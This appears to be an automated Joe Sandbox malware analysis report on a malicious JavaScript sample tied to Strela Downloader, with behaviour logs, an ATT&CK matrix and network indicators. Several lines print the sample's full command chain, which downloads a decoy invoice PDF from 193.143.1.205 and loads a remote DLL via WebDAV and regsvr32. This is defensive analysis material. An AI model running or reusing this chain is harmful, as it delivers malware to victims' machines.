Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4764			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4828			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep count: 4764 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep count: 4828 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7604	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7916	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2768	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1367970084.0000018D84B38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1367348329.0000018D84B9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1369123114.0000018D84B9E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2605913951.000001E888A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2604659432.000001E88342B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW l

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1794629123897518052.js	5%	Virustotal		Browse
1794629123897518052.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/temlQ	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.1311247063.0000027BC1A0E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2605962541.000001E888A8C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.1378447991.000001E888890000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1367247788.0000018D84B6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1367149366.0000018D84B8B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1367247788.0000018D84B61000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1367970084.0000018D84B38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1368055943.0000018D84B61000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1368055943.0000018D84B6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1369076353.0000018D84B8D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/temlQ	net.exe, 00000007.00000002.1367970084.0000018D84B38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587989
Start date and time:	2025-01-10 20:09:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1794629123897518052.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 3.219.243.226, 3.233.129.217, 52.6.155.20, 162.159.61.3, 172.64.41.3, 2.23.242.162, 199.232.214.172, 2.16.168.105, 2.16.168.107, 23.209.209.135, 23.40.179.19, 23.40.179.63, 23.40.179.48, 23.40.179.35, 192.168.2.11, 13.107.246.45, 4.245.163.56, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:10:00	API Interceptor	23x Sleep call for process: powershell.exe modified
14:10:04	API Interceptor	1x Sleep call for process: net.exe modified
14:10:05	API Interceptor	2x Sleep call for process: svchost.exe modified
14:10:17	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	4779230781910419613.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7893194593206114961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8008148648650326
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5T5:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfS
MD5:	FE025BC0F8DF9D3CD167108094CDAD8C
SHA1:	A66BF1B24EA6F3BD16094D3A9A1E0090FDB4D857
SHA-256:	378D09F73997907B9AD3F7ED895F5FB0BAE5FCAA2221A550DCD017DF87CEC4BA
SHA-512:	9D45F8735AD70266903F482A2B989AC5CF7B19909B89A9607DC243C8E59FB397FC400CD809C36A2AFB04CC34E71ADBA71AF371ECC312E3F31CDF3CF854B68229
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
